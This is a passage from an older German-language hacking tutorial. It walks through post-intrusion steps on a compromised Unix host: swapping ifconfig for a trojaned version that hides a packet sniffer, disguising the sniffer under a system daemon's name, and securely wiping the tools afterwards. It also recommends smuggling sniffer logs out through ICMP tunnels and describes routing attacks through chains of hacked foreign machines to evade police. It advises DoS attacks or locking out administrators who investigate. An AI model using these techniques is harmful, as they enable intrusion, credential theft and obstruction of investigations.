kennen, welche Befehle sie ausfuehren und demnach welche Aufgaben sie haben.
Wenn Admins haeufig su ausfuehren und dabei nicht den vollen
Path angeben sind sie ein perfektes Ziel fuer spaetere PATH/Trojan-Horse
Attacken.
bash# which ifconfig
/sbin/ifconfig
bash# cd /tmp/".. "
bash# fix /sbin/ifconfig ./ifconfig ./ic.bak
fixer: Last 17 bytes not zero
fixer: Can't fix checksum
bash# showmount -e localhost
/cdrom pc-01.pool.domain.com
bash# mv linsniffer nfsiod
bash# export PATH=.:$PATH
bash# nfsiod
Als letztes installieren wir noch unseren Ethernet-Sniffer.
Wir ersetzen ifconfig mit einer modifizierten Version, die nicht
anzeigt ob eine Netzwerkarte in den Promiscuous-Mode geschalltet
ist. Falls ein Admin cpm o.ae. benutzt, solltest du es ebenfalls
ersetzen - aber denke immer an Integry-Checker, in diesem Fall ist '/sbin'
nicht Teil der Tripwire-DB. Auf hochsicheren Rechnern wuerde ich niemals
Prog.s ersetzen, da die Wahrscheinlichkeit hoch ist, dass sich doch irgendwo
ein Integry-Checker verbirgt, den man uebersehen hat (im Fall des Sniffers
waere es denkbar ein LKM in den Kernel zu laden um den ioctl() Systemcall
zu verbiegen und das PROMISC Flag nicht mehr anzuzeigen).
Frueher wurde haeufig das Prog. sum fuer
die Checksum-Erstellung benutzt, leider (?) erstellt sum kryptographisch
unsichere Hashwerte. Das Tool fix/fixer nutzt diesen 'Fehler'
aus, ich habe es hier nur verwendet, weil es die Zeiten anpasst und ein
Backup erstellt. Da sum so gut wie garnicht mehr benutzt wird ist
es auch nicht wichtig, dass die Checksum nicht gefixt wurde, falls du es
aber doch besser findest, dann haenge einfach ein paar Nullen an dein Trojan-Horse
undzwar wie folgt
bash# cat /dev/zero >> ./ifconfig
^C
Anschliesend starten wir den Sniffer nachdem
wir ihm einen unauffaelligen Namen verpasst haben. Wenn der Admin irgendein
Verzeichnis exportiert, das jedermann mounten kann, dann solltest du dein
Snifflog-File dorthin schreiben lassen. Aber ich bevorzuge die Collector-Library
oder noch besser, insbesondere bei Firewalls, die ICMP-Tunnel-Library
.
Kleine Anekdote: Ich hab' mal 'ne Zeit lang meine Snifferlogs via ICMP-Tunnel
von 'nem Bastion-Host zu 'nem auslaendischen Rechner 'geschmuggelt'; es
funktionierte wunderbar und wurde nicht endeckt.
bash# cd /tmp/".. "
[1]+ Done
searcher
bash# gzip --best s.res
bash# uuencode s.res.gz s.res.gz
[...]
bash# gcc -o rm srm.c
bash# rm -vss ./*
Deleting ifconfig *************************************
Done
[...]
bash# cd ..
bash# rm -r ".. "
bash# ls -altr ~root
[...]
-rw------- 1 root
root 90803 Jan 23 11:26 .fvwm2rc
drwxr-xr-x 3 root
root 2048 Jan 23 13:57
bin
drwxr-xr-x 22 root
root 1024 Jan 25 11:55
..
drwx--x--x 35 root
root 4096 Jan 26 09:11
.
-rw------- 1 root
root 150 Jan 26 09:11
.Xauthority
-rw------- 1 root
root 280 Jan 26 09:12
.xsession-errors
drwx------ 5 root
root 1024 Jan 26 09:17
.netscape
-rw------- 1 root
root 441 Jun 5 13:14
.bash_history
-rw------- 1 root
root 85 Jan
5 13:50 .xlockmessage
bash# exit
victim% cd
victim% pwd
/home/johnny
victim% ls -altr
[...]
-rw-r--r-- 1 test
users 3324 Dec 11 1997
.emacs
drwx------ 2 test
users 1024 May 28 20:57 .grok
drwxr-xr-x 2 test
users 1024 May 28 20:57 .hotjava
drwx------ 2 test
users 1024 May 28 20:57 .seyon
drwxr-xr-x 2 test
users 1024 May 28 20:57 .xfm
drwxr-xr-x 5 root
root 1024 Jun 6 19:15 ..
drwxr-xr-x 6 test
users 1024 Jun 6 19:15 .
victim% exit
exit
victim:/home/johhny > exit
logout
Connection closed by forign host.
source >
Zum Schluss wipen wir unsere Tools von der HD,
damit sie nicht durch einfaches Raw-Reading oder Magnetic Force
Microscopy (MFM) o. ae. wieder hergestellt werden koennen, und
vergewissern uns, dass wir in den Home-Direc., in denen wir rumgewurschtelt
haben, keine kompromitierenden Files hinterlassen.
Mit Sicherheit koennte noch einiges verbessert
werden, versuch's und entwickel so deinen eigenen Style.
Lege dir ein Art Datenbank mit allen noetigen Information ueber deine
gehackten Rechner an sonst verlierst du irgendwann den Ueberblick (natuerlich
encrypted).
Persoenliche Sicherheit
Es ist natuerlich klar, dass du deine Daten auf der HD mit CFS
bzw. SFS und deine E-Mail mit PGP verschluesselts,
Ramdisks benutzt, Backups deiner wichtigsten Daten auf Tape/CDs nicht zuhause
lagerst, deinen realen Namen nicht weitergibst usw... dieser Kram soll
nicht Bestandteil dieses Abschnitts sein, ich moechte lieber ueber eine
sichere Konfiguration sprechen, die dich beim Hacken schuetzt und vorwarnt
wenn dich jemand verfolgt.
Ich werde hier die Methode beschreiben, die ich persoenlich anwende.
Die verschluesselten SSH Verbindung sind noetig, damit die Admins/Bullen
nicht meine Aktivitaeten am Einwahlpunkt (oder sonstwo) mitschneiden koennen.
Falls du nur einen Rechner zur Verfuehgung hast, dann kannst du dich
natuerlich auch mit der Firewall von Linux/FreeBSD/OpenBSD schuetzen. Es
ist jedoch kompfortabler die Verbindung ueber einen speziellen Computer
zu beobachten (ich weiss nicht inwiefern Linux und Co. einen zweiten Monitor
an einem Rechner unterschtuetzt).
Zusaetzlich solltest du noch deinen Kernel patchen, damit er dir mehr
informationen ueber eingehende Pakete liefert, somit bist du in der Lage
DoS Attacken, Source-Routing Angriffe, Traceroutes etc und ihre Herkunft
zu erkennen.

Ein kleinerer Rechner dient mir als Firewall und Router, ich baue die
PPP-Verbindung
zu meinem Einwahlpunkt auf und ueberwache alle eingehenden Pakete. Desweiteren
stelle ich mit SSH eine Connection zum Einwahlrechner her um periodisch
alle eingeloggten User und Netzwerkverbindungen zu verfolgen (was natuerlich
nur funktioniert, wenn der Einwahlrechner eine Unix-Maschine ist und kein
Terminalserver o.ae.). Es ist sehr interessant zu sehen, was ein Admin
alles macht, wenn er merkt, dass etwas nicht mit rechten Dingen auf seiner
Maschine vorgeht. Sobald mir solche Sondierungen/Untersuchungen auffallen
breche ich die Verbindung sofort ab, falls ich mich aber gerade in einer
kritischen Lage befinde muss ich DoS-Attacken benutzen oder den Admin aussperren
um seine Arbeit zu verlangsamen bzw. zu verhindern. Auf dem Einwahlrechner
ist es nicht noetig seine Gegenwart zu verschleiern, es ist besser unauffaellig
in der Masse unterzutauchen als irgenwelche Logs zu manipulieren.
Der zweite, groessere Rechner ist meine Workstation, von hier aus baue
ich eine SSH-Verbindung zum ersten Anti-Trace Rechner auf.
Dieser Anti-Trace Rechner wechselt regelmaessig, liegt im Ausland
und ich hab' volle Kontrolle ueber ihn. Von hier aus gehe ich ueber ein
weiteren Anti-Trace Rechner zu meinem Hacking-Rechner; auch
hier habe ich natuerlich ´root´-Rechte, der zweite AT-Rechner
ist
nur ein einfacher TCP-Relay, damit erspare ich mir den Stress mit
den Logfiles etc. Vom Hacking-Rechner gehe ich in sehr sichere Domains
oder hacke von hier aus neue Netzwerke (es existieren selbstverstaendlich
mehrere dieser Rechner, die zudem unregelmaessig gewechselt werden). Zum
Scannen benutze ich einen eigens dafuer gehackten Rechner, die Scanner
sind hier alle gut versteckt und zusaetzlich mit 3DES verschluesselt.
Wichtige Links
http://www.false.com/security
http://www.insecurity.org/nmap
http://www.secunet.com
http://geek-girl.com/bugtraq
http://rootshell.com
http://rootshell.com/doc
http://www.sparc.com/charles/security.html
http://command.com.inter.net/~sod/
http://www.phrack.com
http://www.cs.purdue.edu/coast/
http://www.pilot.net/security-guide.html
http://underground.org/
http://www.l0pht.com
http://www.infonexus.com/~deamon9
http://www.cert.org
http://www.cert.dfn.de
ftp.blib.pp.se/pub/cracking
alot of tools and exploits!!!!
Greets to:
Sukkuba , inFECT , exrom , Haegar , warfare
the #ccc , #empire and #admins members
and all who know me